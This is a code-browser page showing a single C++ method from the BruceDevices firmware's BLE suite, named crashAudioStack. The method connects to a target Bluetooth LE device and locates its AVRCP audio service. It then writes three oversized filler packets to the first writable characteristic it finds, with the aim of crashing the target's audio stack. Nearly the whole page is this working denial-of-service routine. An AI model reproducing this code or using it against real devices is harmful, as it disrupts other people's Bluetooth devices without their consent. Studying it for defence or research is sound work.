MCPcopy Create free account
hub / github.com/BruceDevices/firmware / crashAudioStack

Method crashAudioStack

src/modules/ble/BLE_Suite.cpp:1468–1518  ·  view source on GitHub ↗

Source from the content-addressed store, hash-verified

1466bool AudioAttackService::injectMediaCommands(NimBLEAddress target) { return executeAudioAttack(target); }
1467
1468bool AudioAttackService::crashAudioStack(NimBLEAddress target) {
1469 AutoCleanup cleanup([]() { BLEStateManager::deinitBLE(true); });
1470
1471 String connectionMethod = "";
1472 NimBLEClient *pClient = attemptConnectionWithStrategies(target, connectionMethod);
1473 if (!pClient) return false;
1474
1475 BLEStateManager::registerClient(pClient);
1476
1477 NimBLERemoteService *pService = pClient->getService(NimBLEUUID((uint16_t)0x110E));
1478 if (!pService) pService = pClient->getService(NimBLEUUID((uint16_t)0x110F));
1479 if (!pService) {
1480 pClient->disconnect();
1481 BLEStateManager::unregisterClient(pClient);
1482 NimBLEDevice::deleteClient(pClient);
1483 return false;
1484 }
1485
1486 NimBLERemoteCharacteristic *pChar = nullptr;
1487 const std::vector<NimBLERemoteCharacteristic *> &chars = pService->getCharacteristics(true);
1488 for (auto &ch : chars) {
1489 if (ch->canWrite()) {
1490 pChar = ch;
1491 break;
1492 }
1493 }
1494 if (!pChar) {
1495 pClient->disconnect();
1496 BLEStateManager::unregisterClient(pClient);
1497 NimBLEDevice::deleteClient(pClient);
1498 return false;
1499 }
1500
1501 uint8_t crashPacket1[128], crashPacket2[64], crashPacket3[256];
1502 memset(crashPacket1, 0xFF, sizeof(crashPacket1));
1503 memset(crashPacket2, 0x00, sizeof(crashPacket2));
1504 memset(crashPacket3, 0x41, sizeof(crashPacket3));
1505
1506 bool sent1 = pChar->writeValue(crashPacket1, sizeof(crashPacket1), true);
1507 delay(200);
1508 bool sent2 = pChar->writeValue(crashPacket2, sizeof(crashPacket2), true);
1509 delay(200);
1510 bool sent3 = pChar->writeValue(crashPacket3, sizeof(crashPacket3), true);
1511
1512 pClient->disconnect();
1513 BLEStateManager::unregisterClient(pClient);
1514 NimBLEDevice::deleteClient(pClient);
1515 cleanup.disable();
1516 delay(300);
1517 return (sent1 || sent2 || sent3);
1518}
1519
1520//=============================================================================
1521// Ducky Script Engine

Callers 1

showAudioSubMenuFunction · 0.80

Calls 2

disableMethod · 0.80

Tested by

no test coverage detected